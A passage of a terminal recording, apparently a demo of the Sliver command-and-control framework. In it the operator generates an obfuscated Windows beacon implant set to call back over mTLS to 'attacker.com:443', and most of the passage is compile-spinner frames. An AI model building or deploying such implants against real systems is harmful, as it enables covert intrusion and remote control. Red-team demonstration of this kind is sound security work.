"\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save bea"] +[14.058062, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beac"] +[14.186399, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beaco"] +[14.303636, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon"] +[14.908132, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.e"] +[14.993707, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.ex"] +[15.427513, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe"] +[15.95164, "o", "\u001b[J\u001b[2K\r"] +[15.952182, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe\r\n\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new windows/amd64 beacon implant binary (1m0s)\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m\u001b[1mSymbol obfuscation is enabled\u001b[0m\r\n"] +[16.054085, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[16.154487, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[16.254959, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[16.355704, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[16.45606, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[16.556463, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[16.656856, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[16.757153, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[16.857447, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[16.957819, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[17.058208, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[17.158568, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[17.258966, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[17.35946, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[17.459916, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[17.560455, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[17.660855, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[17.763183, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[17.861645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[17.962051, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[18.062439, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[18.162895, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[18.263269, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[18.363695, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[18.464076, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[18.564554, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[18.665214, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[18.76571, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[18.866136, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[18.966534, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[19.066918, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[19.167222, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[19.267616, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[19.368009, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[19.468418, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[19.568772, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[19.669137, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[19.769534, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[19.869907, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[19.970298, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[20.070699, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[20.171098, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[20.271482, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[20.371884, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[20.472273, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[20.572694, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[20.673098, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[20.773502, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[20.873903, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[20.974313, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[21.074712, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[21.175096, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[21.275502, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[21.376149, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[21.476547, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[21.576905, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[21.677312, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[21.777687, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[21.878097, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[21.978483, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[22.078864, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[22.179281, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[22.279671, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[22.380071, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[22.480427, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[22.580771, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[22.681169, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[22.781562, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[22.881972, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[22.982331, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[23.082766, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[23.183105, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[23.283498, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[23.383944, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[23.484236, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[23.584636, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[23.685062, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[23.785467, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[23.885897, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[23.986321, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[24.086759, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[24.187166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[24.287475, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[24.387901, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[24.488271, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[24.588657, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[24.689065, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[24.789467, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[24.88987, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[24.990292, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[25.090709, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[25.191135, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[25.291551, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[25.391987, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[25.49242, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[25.592834, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[25.693163, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[25.793585, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[25.893982, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[25.994356, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[26.094723, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[26.195172, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[26.295622, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[26.396087, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[26.496532, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[26.596959, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[26.697402, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[26.79782, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[26.898231, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[26.998582, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[27.099007, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[27.199433, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[27.2999, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[27.400352, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[27.500823, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[27.601142, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[27.701551, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[27.801948, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[27.902362, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[28.002761, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[28.103173, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[28.203584, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[28.304012, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[28.40444, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[28.504864, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[28.605202, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[28.705556, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[28.80599, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[28.9064, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[29.006944, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[29.107364, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[29.207783, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[29.308185, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[29.40876, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[29.509184, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[29.609583, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[29.710009, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[29.810414, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[29.910815, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[30.011255, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[30.111699, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[30.212078, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[30.312498, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[30.412965, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[30.513353, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[30.613763, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[30.714177, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[30.814615, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[30.915033, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[31.015441, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[31.115908, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[31.216293, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[31.316708, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[31.417136, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[31.517546, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[31.617956, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[31.718385, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[31.818808, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[31.919252, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[32.019676, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[32.120074, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[32.220516, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[32.320919, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[32.421326, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[32.521744, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[32.62216, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[32.722605, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[32.82298, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[32.923317, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[33.02407, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[33.124441, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[33.224846, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[33.325173, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[33.425622, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[33.526046, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[33.626492, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[33.726914, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[33.82733, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[33.927765, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[34.028162, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[34.128487, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[34.228889, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[34.329312, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[34.429731, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[34.530105, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[34.630526, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[34.730944, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[34.831249, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[34.931636, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[35.032073, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[35.132486, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[35.232875, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[35.333288, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[35.433609, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[35.534006, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[35.634472, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[35.734913, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[35.83535, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[35.935774, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[36.036187, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[36.136585, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[36.237009, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[36.33742, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[36.437844, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[36.538405, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[36.638801, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[36.739211, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[36.839629, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[36.940067, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[37.040478, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[37.140892, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[37.241297, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[37.341697, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[37.442111, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[37.542537, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[37.642954, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[37.74336, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[37.843907, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[37.944306, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[38.044686, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[38.145196, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[38.245427, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[38.34584, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[38.446258, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[38.546641, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[38.647053, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[38.747372, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[38.847785, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[38.948202, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[39.048597, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[39.14901, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[39.249407, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[39.349794, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[39.450216, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[39.5506, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[39.65101, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[39.751425, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[39.851835, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[39.952235, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[40.052669, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[40.153086, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[40.253489, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[40.353916, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[40.454334, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[40.554749, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[40.655121, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[40.755512, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[40.855941, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[40.956349, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[41.056764, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[41.157262, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[41.257569, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[41.357946, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[41.458384, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[41.558745, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[41.659156, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[41.759558, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[41.859978, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[41.960382, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[42.060792, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[42.161148, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[42.261538, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[42.361894, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[42.462312, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[42.562715, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[42.6631, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[42.763523, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[42.863937, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[42.964332, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[43.064767, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[43.165276, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[43.265675, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[43.366059, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[43.466459, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[43.566861, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[43.667263, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[43.767686, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[43.868081, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[43.968513, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[44.068939, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[44.16934, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[44.26973, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[44.37016, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[44.470572, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[44.57097, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[44.671395, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[44.771854, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[44.872212, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[44.972622, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[45.073035, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[45.173427, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[45.273831, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[45.374248, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[45.474648, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[45.575015, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[45.67536, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[45.775784, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[45.876195, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[45.976581, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[46.076994, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[46.177417, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[46.277828, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[46.378259, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[46.478643, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[46.579062, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[46.679483, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[46.779936, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[46.880336, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[46.980748, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[47.081175, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[47.181583, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[47.281996, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[47.382417, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[47.482822, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[47.583236, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[47.683666, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[47.784081, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[47.884434, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[47.984844, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[48.085173, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[48.185572, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[48.285954, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[48.3864, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[48.486722, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[48.587155, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[48.687533, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[48.787934, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[48.888325, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[48.988634, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[49.088989, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[49.189391, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[49.289774, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[49.390179, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[49.490966, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[49.591386, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[49.69197, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[49.792603, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[49.892892, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[49.993266, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[50.093741, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[50.194145, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[50.294524, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[50.394942, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[50.495352, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[50.595733, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[50.69614, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[50.796532, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[50.896893, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[50.997281, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[51.097628, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[51.198063, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[51.298421, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[51.398825, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[51.499873, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[51.60024, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[51.70058, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[51.800993, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[51.901384, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[52.001699, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[52.102069, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[52.202468, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[52.302861, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[52.403232, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[52.503626, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[52.604076, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[52.704477, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[52.805056, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[52.905444, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[53.005825, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[53.110452, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[53.210782, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[53.31116, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[53.411619, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[53.511944, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[53.614903, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[53.715292, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[53.815668, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[53.916192, "o", 